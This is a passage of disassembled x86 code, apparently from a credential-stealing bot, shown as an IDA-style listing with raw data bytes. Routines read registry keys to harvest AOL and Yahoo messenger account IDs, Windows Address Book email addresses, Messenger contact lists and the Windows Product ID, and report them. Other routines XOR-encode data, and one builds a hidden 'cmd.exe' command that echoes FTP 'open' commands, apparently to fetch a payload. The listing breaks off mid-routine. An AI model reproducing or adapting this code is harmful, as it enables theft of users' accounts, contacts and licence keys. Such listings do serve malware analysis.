0C483FFFCh, 90006A1Ch dd 4CA2D7E8h, 81168B02h, 1FAh, 0B5850F80h, 0A0000001h dd 448F30h, 40B9h, 24848800h, 0E0h, 0BC8DC033h, 0E124h dd 2444C700h, 10428h, 66ABF300h, 4C8DAAABh, 448D4424h dd 50513024h, 48244C8Dh, 4024448Dh, 4C8D5051h, 448D3C24h dd 50514424h, 54244C8Dh, 2C24448Dh, 4C8D5051h, 6A4824h dd 424848Dh, 51000001h, 44C75250h, 4424h, 0E8900000h, 247A25Ch dd 1424448Bh, 840FC085h, 13Ch, 0C085FF33h, 24247C89h, 12E860Fh dd 4C8D0000h, 548D4424h, 6A512024h, 6A006A00h, 24848D00h dd 0EF4h, 68575052h, 80000003h, 402444C7h, 800h, 0A216E890h dd 0C0850248h, 0E9850Fh, 4E8B0000h, 24948D04h, 0EE4h, 84685251h dd 55004446h, 20244489h, 1C18EAE8h, 0B99000h, 33000002h dd 24BC8DC0h, 6F4h, 0F310C483h, 100B9ABh, 0D8BF0000h, 0F3005103h dd 24448DABh, 19685010h, 6A000200h, 3685500h, 0E8800000h dd 24FA35Fh, 8468B90h, 18244C8Dh, 0E424948Dh, 51000006h dd 14244C8Bh, 6A006A52h, 0FF515000h, 74C085D3h, 24548B0Bh dd 91E85210h, 90024CA1h, 8D08568Bh, 8D182444h, 6E4248Ch dd 8B500000h, 51142444h, 6A006Ah, 0D3FF5052h, 3C75C085h dd 8BFC568Bh, 16F424BCh, 8C8D0000h, 6E424h, 68525100h dd 444D20h, 0E8694F8Dh, 0FFFCB62Dh, 938F8Ah, 8A500000h dd 9487h, 68515000h, 4D8075h, 0FCB98EE8h, 1CC483FFh, 1024548Bh dd 29E89052h, 8B024CA1h, 8B24247Ch, 47142444h, 7C89F83Bh dd 820F2424h, 0FFFFFED2h, 4C244C8Dh, 0EC2484C6h, 16h, 0FCB329E8h dd 10C683FFh, 79D4FE81h, 8C0F0044h, 0FFFFFD2Ah, 17642D8Bh dd 448D0051h, 68501C24h, 20019h, 6068006Ah, 6800447Bh dd 80000002h, 302444C7h, 0 dd 2C2444C7h, 80h, 448BD5FFh, 4C8D1C24h, 948D1824h, 2E424h dd 6A525100h, 68006A00h, 448A1Ch, 85D3FF50h, 0BE850FC0h dd 68000000h, 104h, 649DE890h, 8C8D777Fh, 2E824h, 7B546800h dd 0F08B0044h, 8A0C6851h, 90560044h, 1C1772E8h, 4E5C6800h dd 90560044h, 80907FE8h, 83F88B77h, 0FF851CC4h, 8D577574h dd 802494h, 646A0000h, 0AC07E852h, 83907780h, 0C0850CC4h dd 448D5374h, 0F4687C24h, 50004489h, 1C9EE890h, 0C4837781h dd 75C08508h, 24948B3Ch, 16F4h, 7C244C8Dh, 89D86851h, 4A8D0044h dd 0B4FBE869h, 8B50FFFCh, 17002484h, 888A0000h, 94h, 93908Ah dd 52510000h, 4D807568h, 0B855E800h, 0C483FFFCh, 0E8905718h dd 7780AAA5h, 8504C483h, 560A74F6h, 6201E890h, 0C483777Fh dd 24448B04h, 0D9E8501Ch, 90024C9Fh, 1C244C8Dh, 182444C7h dd 80h, 196851h, 6A0002h, 4489B068h, 26800h, 0D5FF8000h dd 1C244C8Bh, 1824548Dh, 0E424848Dh, 52000002h, 6A006A50h dd 8A1C6800h, 0FF510044h, 0FC085D3h, 0B785h, 1046800h dd 90E80000h, 90777F63h, 0E824948Dh, 68000002h, 4489A8h dd 6852F08Bh, 448998h, 64E89056h, 68001C16h, 444E5Ch, 71E89056h dd 8B77808Fh, 1CC483F8h, 6E74FF85h, 24848D57h, 80h, 9050646Ah dd 80AAF8E8h, 0CC48377h, 4C74C085h, 7C244C8Dh, 44897C68h dd 0E8905100h, 77811B90h, 8508C483h, 8B3575C0h, 16F4249Ch dd 548D0000h, 68527C24h, 448960h, 0E8694B8Dh, 0FFFCB3EDh dd 938B8Ah, 8A500000h, 9483h, 68515000h, 4D8075h, 0FCB74EE8h dd 18C483FFh, 9EE89057h, 837780A9h, 0F68504C4h, 90560A74h dd 7F60FAE8h, 4C48377h, 1C24548Bh, 0D1E89052h, 8D024C9Eh dd 0C764244Ch, 16EC2484h, 0FFFF0000h, 0E3E8FFFFh, 0E9FFFCB0h dd 184h ; --------------------------------------------------------------------------- loc_436148: ; CODE XREF: ___:00435BD1j lea ecx, [edi+32h] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_4362CC lea eax, [esp+10h] push eax push 0F003Fh push 0 push offset aSoftwareAmeric ; "Software\\America Online\\AOL Instant Mes"... push 80000001h nop call near ptr 29301A3h test eax, eax jnz loc_4362CC mov ecx, 40h lea edi, [esp+1E4h] rep stosd lea ecx, [esp+14h] lea edx, [esp+1E4h] push ecx mov ecx, [esp+14h] lea eax, [esp+24h] push edx push eax push 0 push offset dword_4488F8 push ecx mov dword ptr [esp+2Ch], 100h call near ptr 28E0000h nop test eax, eax jz short loc_4361D2 mov edx, [esp+10h] push edx nop call near ptr 2900000h jmp loc_4362CC ; --------------------------------------------------------------------------- loc_4361D2: ; CODE XREF: ___:004361C0j mov eax, [esp+14h] mov ecx, [esp+10h] mov ebp, dword_511740 push ecx mov byte ptr [esp+eax+1E8h], 0 call ebp lea edx, [esp+1E4h] lea ebx, [esi+69h] push edx push offset dword_4488EC mov ecx, ebx call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D8075 call sub_401857 add esp, 18h lea edx, [esp+10h] push edx push 0F003Fh push 0 push offset aSoftwareYahooP ; "Software\\Yahoo\\Pager" push 80000001h nop call near ptr 29301A3h test eax, eax jnz loc_4362CC mov ecx, 40h lea edi, [esp+0E0h] rep stosd lea eax, [esp+14h] lea ecx, [esp+0E0h] push eax mov eax, [esp+14h] lea edx, [esp+24h] push ecx push edx push 0 push offset aYahooUserId ; "Yahoo! User ID" push eax mov dword ptr [esp+2Ch], 100h nop call near ptr 28E0000h test eax, eax jz short loc_436289 mov ecx, [esp+10h] push ecx call ebp jmp short loc_4362CC ; --------------------------------------------------------------------------- loc_436289: ; CODE XREF: ___:0043627Ej mov edx, [esp+14h] mov eax, [esp+10h] push eax mov byte ptr [esp+edx+1E8h], 0 call ebp lea ecx, [esp+0E0h] push ecx push offset aYahooS ; "yahoo: %s" mov ecx, ebx call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8075 call sub_401857 add esp, 18h loc_4362CC: ; CODE XREF: ___:0043615Aj ; ___:0043617Ej ... mov ecx, [esp+16E4h] pop edi pop esi pop ebp mov al, 1 pop ebx mov large fs:0, ecx add esp, 16E0h retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 1E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4364D0 proc near ; CODE XREF: sub_4016FEj var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4364D0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push esi push 0 push 5 push 4Fh push 14h push 5 lea eax, [esp+3Ch+var_24] push 7 mov esi, ecx push eax call sub_4019C4 add esp, 1Ch push esi mov ecx, eax mov [esp+2Ch+var_4], 0 call sub_4017EE add esi, 4 push eax push esi mov ecx, offset dword_449118 call sub_40159B sub_4364D0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] pop esi mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_436570: ; CODE XREF: ___:loc_401FF5j sub esp, 6CCh add ecx, 4 push ebx push ebp push esi push edi call sub_4017EE mov ebp, [esp+6E0h] push eax lea ecx, [ebp+7Eh] call sub_4012EE test eax, eax jnz loc_43680E lea eax, [esp+14h] mov dword ptr [esp+20h], 320h push eax push 0F003Fh push 0 push offset aSoftwareMicr_1 ; "Software\\Microsoft\\WAB\\WAB4\\Wab File Na"... push 80000001h nop call near ptr 29301A3h mov eax, [esp+14h] test eax, eax jz loc_43680E lea ecx, [esp+20h] lea edx, [esp+1D8h] push ecx push edx push 0 push 0 push offset byte_448F30 push eax call near ptr 28E0000h nop mov eax, [esp+14h] push eax call near ptr 2900000h nop push 0 push 80h push 4 push 0 push 1 lea ecx, [esp+1ECh] push 80000000h push ecx nop call near ptr 2850000h push 0 push 0 push 0 mov edi, eax push 2 push 0 push edi mov [esp+34h], edi nop call near ptr 2720000h mov ebx, eax test ebx, ebx mov [esp+24h], ebx jnz short loc_436649 push edi nop call near ptr 283061Dh pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 6CCh retn 4 ; --------------------------------------------------------------------------- loc_436649: ; CODE XREF: ___:00436631j push 0 push 0 push 0 push 4 push ebx call near ptr 2720620h nop mov esi, eax test esi, esi jnz short loc_436679 mov esi, dword_5118E0 push ebx call esi push edi call esi pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 6CCh retn 4 ; --------------------------------------------------------------------------- loc_436679: ; CODE XREF: ___:0043665Cj xor edx, edx xor eax, eax mov dh, [esi+63h] mov ah, [esi+61h] mov dl, [esi+62h] and eax, 0FFFFh movsx ecx, byte ptr [esi+64h] shl edx, 10h or edx, eax xor eax, eax mov al, [esi+60h] or edx, eax mov eax, ecx shl eax, 4 add eax, ecx shl eax, 2 test eax, eax jle short loc_436718 lea ecx, [eax+43h] mov eax, 0F0F0F0F1h lea edi, [edx+esi] mul ecx mov ebx, edx shr ebx, 6 loc_4366BB: ; CODE XREF: ___:0043670Ej xor eax, eax mov ecx, edi loc_4366BF: ; CODE XREF: ___:004366CFj mov dl, [ecx] add ecx, 2 mov [esp+eax+0ACh], dl inc eax cmp eax, 44h jle short loc_4366BF lea eax, [esp+0ACh] lea ecx, [ebp+69h] push eax push offset aFoundEmailS_ ; "Found EMail (%s)." mov byte ptr [esp+0F8h], 0 call sub_4014DD mov cl, [ebp+94h] mov dl, [ebp+93h] push eax push ecx push edx push offset byte_4D8075 call sub_401857 add esp, 18h add edi, 44h dec ebx jnz short loc_4366BB mov ebx, [esp+24h] mov edi, [esp+1Ch] loc_436718: ; CODE XREF: ___:004366A7j push edi mov edi, dword_5118E0 call edi push esi nop call near ptr 27207C4h push ebx call edi lea eax, [esp+18h] push eax push 0F003Fh push 0 push offset aSoftwareMicr_2 ; "Software\\Microsoft\\MessengerService\\Lis"... push 80000001h nop call near ptr 29301A3h test eax, eax jnz loc_43680E mov ebx, off_511C00 mov dword ptr [esp+10h], 400h mov dword ptr [esp+28h], 3 xor esi, esi loc_436767: ; CODE XREF: ___:004367FEj mov ecx, 20h xor eax, eax lea edi, [esp+2Ch] push esi rep stosd lea ecx, [esp+30h] push offset dword_448A38 push ecx call ebx ; sub_5F76F7 mov ecx, 100h xor eax, eax lea edi, [esp+2E8h] add esp, 0Ch rep stosd lea edx, [esp+10h] lea eax, [esp+2DCh] push edx lea ecx, [esp+2Ch] push eax mov eax, [esp+20h] push ecx lea edx, [esp+38h] push 0 push edx push eax inc esi mov dword ptr [esp+28h], 400h nop call near ptr 28E0000h test eax, eax jnz short loc_436803 lea ecx, [esp+2DCh] push ecx push offset dword_448A2C lea ecx, [ebp+69h] call sub_4014DD mov dl, [ebp+94h] push eax mov al, [ebp+93h] push edx push eax push offset byte_4D8075 call sub_401857 add esp, 18h push 64h call near ptr 2821DE2h nop jmp loc_436767 ; --------------------------------------------------------------------------- loc_436803: ; CODE XREF: ___:004367C3j mov ecx, [esp+18h] push ecx nop call near ptr 2900000h loc_43680E: ; CODE XREF: ___:00436594j ; ___:004365C4j ... pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 6CCh retn 4 ; --------------------------------------------------------------------------- db 3 dup(90h) db 0B0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4368D0 proc near ; CODE XREF: sub_401E65j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4368D0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push 0 push 7 push 5 push 12h push 4Fh push 14h push 5 lea eax, [esp+5Ch+var_3C] push 7 mov esi, ecx push eax call sub_4019C4 add esp, 24h push esi mov ecx, eax mov [esp+44h+var_4], 0 call sub_40168B lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_449118 call sub_40159B sub_4368D0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 0Bh push 17h push 4Fh push 14h push 5 lea edx, [esp+34h] push 7 push edx call sub_4019C4 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+40h], 1 call sub_40168B add esi, 32h push eax push esi mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+1Ch] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h] pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4369E0 proc near ; CODE XREF: sub_401E6Aj var_135 = byte ptr -135h var_134 = dword ptr -134h var_130 = dword ptr -130h var_12C = dword ptr -12Ch var_128 = byte ptr -128h var_124 = byte ptr -124h var_110 = dword ptr -110h var_10C = byte ptr -10Ch var_108 = byte ptr -108h var_8C = byte ptr -8Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_4369E0 push eax mov large fs:0, esp sub esp, 12Ch push ebx push esi mov esi, [esp+140h+arg_0] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+4] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_436EB7 push ebp xor ebp, ebp push ebp push offset asc_444600 ; " " lea eax, [esp+150h+var_128] push 1 push eax mov ecx, esi mov [esp+158h+var_134], ebp mov [esp+158h+var_130], 80h call sub_4011EA lea ecx, [esp+148h+var_134] mov [esp+148h+var_4], ebp push ecx push 20019h push ebp mov ecx, eax call sub_4017EE mov edi, dword_511764 push eax push 80000001h call edi or ebx, 0FFFFFFFFh lea ecx, [esp+144h+var_124] mov [esp+144h], ebx call sub_401226 push ebp push offset asc_444600 ; " " lea edx, [esp+14Ch+var_124] push 2 push edx mov ecx, esi call sub_4011EA lea ecx, [esp+144h+var_12C] lea edx, [esp+144h+var_108] push ecx push edx push ebp push ebp mov ecx, eax mov dword ptr [esp+154h], 1 call sub_4017EE mov ebp, dword_51172C push eax mov eax, [esp+158h+var_130] push eax call ebp test eax, eax lea ecx, [esp+144h+var_124] mov [esp+144h], ebx setz byte ptr [esp+144h+var_134+3] call sub_401226 mov al, byte ptr [esp+144h+var_134+3] test al, al jz short loc_436B0C lea ecx, [esp+144h+var_108] push ecx push (offset loc_448B7B+1) lea ecx, [esi+69h] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8075 call sub_401857 add esp, 18h loc_436B0C: ; CODE XREF: sub_4369E0+FCj mov ecx, [esp+144h+var_130] push ecx nop call near ptr 2900000h push 0 push offset asc_444600 ; " " lea edx, [esp+14Ch+var_124] push 1 push edx mov ecx, esi mov [esp+154h+var_12C], 80h call sub_4011EA lea ecx, [esp+144h+var_130] mov dword ptr [esp+144h], 2 push ecx push 20019h push 0 mov ecx, eax call sub_4017EE push eax push 80000002h call edi lea ecx, [esp+144h+var_124] mov [esp+144h], ebx call sub_401226 push 0 push offset asc_444600 ; " " lea edx, [esp+14Ch+var_124] push 2 push edx mov ecx, esi call sub_4011EA lea ecx, [esp+144h+var_12C] lea edx, [esp+144h+var_108] push ecx push edx push 0 push 0 mov ecx, eax mov dword ptr [esp+154h], 3 call sub_4017EE push eax mov eax, [esp+158h+var_130] push eax call ebp test eax, eax lea ecx, [esp+144h+var_124] mov [esp+144h], ebx setz byte ptr [esp+144h+var_134+3] call sub_401226 mov al, byte ptr [esp+144h+var_134+3] test al, al jz short loc_436BF4 lea ecx, [esp+144h+var_108] push ecx push (offset loc_448B6F+1) lea ecx, [esi+69h] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8075 call sub_401857 add esp, 18h loc_436BF4: ; CODE XREF: sub_4369E0+1E4j mov ecx, [esp+144h+var_130] push ecx nop call near ptr 2900000h push 0 push offset asc_444600 ; " " lea edx, [esp+14Ch+var_124] push 1 push edx mov ecx, esi mov [esp+154h+var_12C], 80h call sub_4011EA lea ecx, [esp+144h+var_130] mov dword ptr [esp+144h], 4 push ecx push 20019h push 0 mov ecx, eax call sub_4017EE push eax push 80000005h call edi lea ecx, [esp+144h+var_124] mov [esp+144h], ebx call sub_401226 push 0 push offset asc_444600 ; " " lea edx, [esp+14Ch+var_124] push 2 push edx mov ecx, esi call sub_4011EA lea ecx, [esp+144h+var_12C] lea edx, [esp+144h+var_108] push ecx push edx push 0 push 0 mov ecx, eax mov dword ptr [esp+154h], 5 call sub_4017EE push eax mov eax, [esp+158h+var_130] push eax call ebp test eax, eax lea ecx, [esp+144h+var_124] mov [esp+144h], ebx setz byte ptr [esp+144h+var_134+3] call sub_401226 mov al, byte ptr [esp+144h+var_134+3] test al, al jz short loc_436CDC lea ecx, [esp+144h+var_108] push ecx push offset loc_448B64 lea ecx, [esi+69h] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8075 call sub_401857 add esp, 18h loc_436CDC: ; CODE XREF: sub_4369E0+2CCj mov ecx, [esp+144h+var_130] push ecx call near ptr 2900000h nop push 0 push offset asc_444600 ; " " lea edx, [esp+14Ch+var_124] push 1 push edx mov ecx, esi mov [esp+154h+var_12C], 80h call sub_4011EA lea ecx, [esp+144h+var_130] mov dword ptr [esp+144h], 6 push ecx push 20019h push 0 mov ecx, eax call sub_4017EE push eax push 80000000h call edi lea ecx, [esp+144h+var_124] mov [esp+144h], ebx call sub_401226 push 0 push offset asc_444600 ; " " lea edx, [esp+14Ch+var_124] push 2 push edx mov ecx, esi call sub_4011EA lea ecx, [esp+144h+var_12C] lea edx, [esp+144h+var_108] push ecx push edx push 0 push 0 mov ecx, eax mov dword ptr [esp+154h], 7 call sub_4017EE push eax mov eax, [esp+158h+var_130] push eax call ebp test eax, eax lea ecx, [esp+144h+var_124] mov [esp+144h], ebx setz byte ptr [esp+144h+var_134+3] call sub_401226 mov al, byte ptr [esp+144h+var_134+3] test al, al jz short loc_436DC4 lea ecx, [esp+144h+var_108] push ecx push offset aHkcrS ; "HKCR: %s" lea ecx, [esi+69h] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8075 call sub_401857 add esp, 18h loc_436DC4: ; CODE XREF: sub_4369E0+3B4j mov ecx, [esp+144h+var_130] push ecx nop call near ptr 2900000h push 0 push offset asc_444600 ; " " lea edx, [esp+150h+var_128] push 1 push edx mov ecx, esi mov [esp+158h+var_130], 80h call sub_4011EA lea ecx, [esp+148h+var_134] mov [esp+148h+var_4], 8 push ecx push 20019h push 0 mov ecx, eax call sub_4017EE push eax push 80000003h call edi lea ecx, [esp+148h+var_128] mov [esp+148h+var_4], ebx call sub_401226 push 0 push offset asc_444600 ; " " lea edx, [esp+150h+var_128] push 2 push edx mov ecx, esi call sub_4011EA lea ecx, [esp+148h+var_130] lea edx, [esp+148h+var_10C] push ecx push edx push 0 push 0 mov ecx, eax mov [esp+158h+var_4], 9 call sub_4017EE push eax mov eax, [esp+15Ch+var_134] push eax call ebp test eax, eax lea ecx, [esp+148h+var_128] mov [esp+148h+var_4], ebx setz [esp+148h+var_135] call sub_401226 mov al, [esp+148h+var_135] pop ebp test al, al jz short loc_436EAD lea ecx, [esp+144h+var_10C] push ecx push offset aHkuS ; "HKU: %s" lea ecx, [esi+69h] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8075 call sub_401857 add esp, 18h loc_436EAD: ; CODE XREF: sub_4369E0+49Dj mov ecx, [esp+144h+var_134] push ecx jmp loc_436F51 ; --------------------------------------------------------------------------- loc_436EB7: ; CODE XREF: sub_4369E0+3Cj lea ecx, [edi+32h] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_436F57 lea edx, [esp+144h+var_12C] mov [esp+144h+var_12C], eax push edx push 20019h push eax push offset aSoftwareMicr_0 ; "Software\\Microsoft\\Windows\\CurrentVersi"... push 80000002h mov [esp+158h+var_110], 80h nop call near ptr 29301A3h mov edx, [esp+144h+var_12C] lea eax, [esp+144h+var_110] lea ecx, [esp+144h+var_8C] push eax push ecx push 0 push 0 push offset aProductid ; "ProductId" push edx nop call near ptr 28E0000h test eax, eax jnz short loc_436F4C lea eax, [esp+144h+var_8C] lea ecx, [esi+69h] push eax push offset aFoundWindowsPr ; "Found Windows Product ID (%s)." call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D8075 call sub_401857 add esp, 18h loc_436F4C: ; CODE XREF: sub_4369E0+539j mov eax, [esp+144h+var_12C] push eax loc_436F51: ; CODE XREF: sub_4369E0+4D2j nop call near ptr 2900000h loc_436F57: ; CODE XREF: sub_4369E0+4E9j mov ecx, [esp+144h+var_C] pop edi pop esi mov al, 1 pop ebx mov large fs:0, ecx add esp, 138h retn 4 sub_4369E0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 170h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4370F0 proc near ; CODE XREF: sub_401334j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch push esi mov esi, [esp+4+arg_4] xor eax, eax test esi, esi jle short loc_43710D mov cl, [esp+4+arg_8] mov edx, [esp+4+arg_0] loc_437103: ; CODE XREF: sub_4370F0+1Bj cmp [eax+edx], cl jz short loc_437111 inc eax cmp eax, esi jl short loc_437103 loc_43710D: ; CODE XREF: sub_4370F0+9j pop esi xor al, al retn ; --------------------------------------------------------------------------- loc_437111: ; CODE XREF: sub_4370F0+16j pop esi mov al, 1 retn sub_4370F0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_437130: ; CODE XREF: ___:00401433j push ecx mov eax, [esp+18h] push ebx push ebp push esi push edi push eax mov dword ptr [esp+14h], 98h call near ptr 71AB2B66h nop mov ebx, [esp+1Ch] and eax, 0FFFFh push ebx mov [esp+2Ch], eax call near ptr 77C2C407h nop mov ecx, ebx mov ebp, eax mov edx, ecx xor eax, eax mov edi, ebp mov esi, [esp+1Ch] shr ecx, 2 rep stosd mov ecx, edx push 18h and ecx, 3 rep stosb mov ecx, ebx mov edi, ebp mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb nop call near ptr 77C2C407h mov edx, eax mov ecx, 6 xor eax, eax mov edi, edx rep stosd mov eax, [esp+38h] mov ecx, 6 mov esi, (offset loc_448B87+1) mov edi, edx rep movsd mov ecx, [esp+30h] add esp, 8 mov [eax+ebp], cl mov [eax+ebp+1], ch mov eax, [esp+34h] mov ecx, [esp+2Ch] mov [esp+1Ch], edx mov [eax+ebp], cl mov [eax+ebp+1], ch mov cx, [esp+2Eh] mov [eax+ebp+2], cl mov [eax+ebp+3], ch mov eax, [esp+38h] test eax, eax jz short loc_4371EC push ebx push ebp call eax add esp, 8 loc_4371EC: ; CODE XREF: ___:004371E3j push ebx nop call near ptr 77C2C407h mov ecx, ebx mov edx, eax mov esi, ecx xor eax, eax mov edi, edx mov [esp+2Ch], edx shr ecx, 2 rep stosd mov ecx, esi mov esi, ebp and ecx, 3 add esp, 4 rep stosb mov ecx, ebx mov edi, edx mov edx, ecx mov eax, [esp+1Ch] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov [eax+0Eh], bl mov [eax+0Fh], bh loc_43722E: ; CODE XREF: ___:004372A7j push 5Ch push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_43726E push 0 push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_43726E push 0Ah push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_43726E push 0Dh push ebx push ebp call sub_401334 add esp, 0Ch test al, al jz short loc_4372A9 loc_43726E: ; CODE XREF: ___:0043723Cj ; ___:0043724Cj ... mov esi, [esp+28h] mov ecx, ebx mov eax, ecx mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov ecx, [esp+10h] inc ecx test ebx, ebx mov [esp+10h], ecx jle short loc_4372A0 loc_437293: ; CODE XREF: ___:0043729Ej mov dl, [eax+ebp] xor dl, cl mov [eax+ebp], dl inc eax cmp eax, ebx jl short loc_437293 loc_4372A0: ; CODE XREF: ___:00437291j mov edx, [esp+1Ch] mov [edx+13h], cl jmp short loc_43722E ; --------------------------------------------------------------------------- loc_4372A9: ; CODE XREF: ___:0043726Cj mov eax, [esp+28h] push eax nop call near ptr 77C2C21Bh mov ecx, [esp+28h] mov edx, [esp+24h] mov esi, ecx xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+20h] and ecx, 3 rep stosb mov ecx, 6 mov edi, edx rep movsd mov ecx, ebx lea edi, [edx+17h] mov edx, ecx mov esi, ebp shr ecx, 2 rep movsd mov eax, [esp+20h] mov ecx, edx and ecx, 3 push eax rep movsb mov esi, dword_511AD0 call esi ; free push ebp call esi ; free add esp, 0Ch lea eax, [ebx+18h] pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 80h dup(0CCh) ; --------------------------------------------------------------------------- loc_437390: ; CODE XREF: ___:00401D75j push ecx push ebx push ebp push esi push edi mov edi, [esp+28h] or ecx, 0FFFFFFFFh xor eax, eax mov dword ptr [esp+10h], 98h repne scasb mov eax, [esp+1Ch] not ecx dec ecx lea ebx, [ecx+eax+1] push ebx call near ptr 77C2C407h nop mov ecx, ebx mov ebp, eax mov edx, ecx xor eax, eax mov edi, ebp mov esi, [esp+1Ch] shr ecx, 2 rep stosd mov ecx, edx push 18h and ecx, 3 rep stosb mov ecx, ebx mov edi, ebp mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb nop call near ptr 77C2C407h mov edx, eax mov ecx, 6 xor eax, eax mov edi, edx rep stosd mov ecx, 6 mov esi, (offset loc_448B87+1) mov edi, edx add esp, 8 rep movsd mov esi, [esp+28h] or ecx, 0FFFFFFFFh mov edi, esi mov [esp+18h], edx repne scasb mov edx, [esp+1Ch] not ecx mov eax, ecx lea edi, [edx+ebp-2] shr ecx, 2 rep movsd mov ecx, eax mov eax, [esp+2Ch] and ecx, 3 test eax, eax rep movsb jz short loc_437442 push ebx push ebp call eax add esp, 8 loc_437442: ; CODE XREF: ___:00437439j push ebx nop call near ptr 77C2C407h mov ecx, ebx mov edx, eax mov esi, ecx xor eax, eax mov edi, edx mov [esp+2Ch], edx shr ecx, 2 rep stosd mov ecx, esi mov esi, ebp and ecx, 3 add esp, 4 rep stosb mov ecx, ebx mov edi, edx mov edx, ecx mov eax, [esp+18h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov [eax+0Eh], bl mov [eax+0Fh], bh loc_437484: ; CODE XREF: ___:004374FDj push 5Ch push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4374C4 push 0 push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4374C4 push 0Ah push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4374C4 push 0Dh push ebx push ebp call sub_401334 add esp, 0Ch test al, al jz short loc_4374FF loc_4374C4: ; CODE XREF: ___:00437492j ; ___:004374A2j ... mov esi, [esp+28h] mov ecx, ebx mov eax, ecx mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov ecx, [esp+10h] inc ecx test ebx, ebx mov [esp+10h], ecx jle short loc_4374F6 loc_4374E9: ; CODE XREF: ___:004374F4j mov dl, [eax+ebp] xor dl, cl mov [eax+ebp], dl inc eax cmp eax, ebx jl short loc_4374E9 loc_4374F6: ; CODE XREF: ___:004374E7j mov edx, [esp+18h] mov [edx+13h], cl jmp short loc_437484 ; --------------------------------------------------------------------------- loc_4374FF: ; CODE XREF: ___:004374C2j mov eax, [esp+28h] push eax call near ptr 77C2C21Bh nop mov ecx, [esp+28h] mov edx, [esp+24h] mov esi, ecx xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+1Ch] and ecx, 3 rep stosb mov ecx, 6 mov edi, edx rep movsd mov ecx, ebx lea edi, [edx+17h] mov edx, ecx mov esi, ebp shr ecx, 2 rep movsd mov eax, [esp+1Ch] mov ecx, edx and ecx, 3 push eax rep movsb mov esi, dword_511AD0 call esi ; free push ebp call esi ; free add esp, 0Ch lea eax, [ebx+18h] pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 80h dup(0CCh) ; --------------------------------------------------------------------------- loc_4375F0: ; CODE XREF: ___:00401FFFj mov eax, 200Ch call sub_437B30 mov eax, [esp+2028h] mov ecx, [esp+202Ch] push ebx mov edx, [esp+2028h] push ebp push esi push edi push eax push eax mov eax, [esp+2048h] push eax mov eax, [esp+203Ch] push ecx push edx push eax lea ecx, [esp+34h] push offset aStartMinCmd_ex ; "start /min cmd.exe /c \"echo open %s %d "... push ecx mov dword ptr [esp+34h], 98h nop call sub_5F76F7 lea edi, [esp+3Ch] or ecx, 0FFFFFFFFh xor 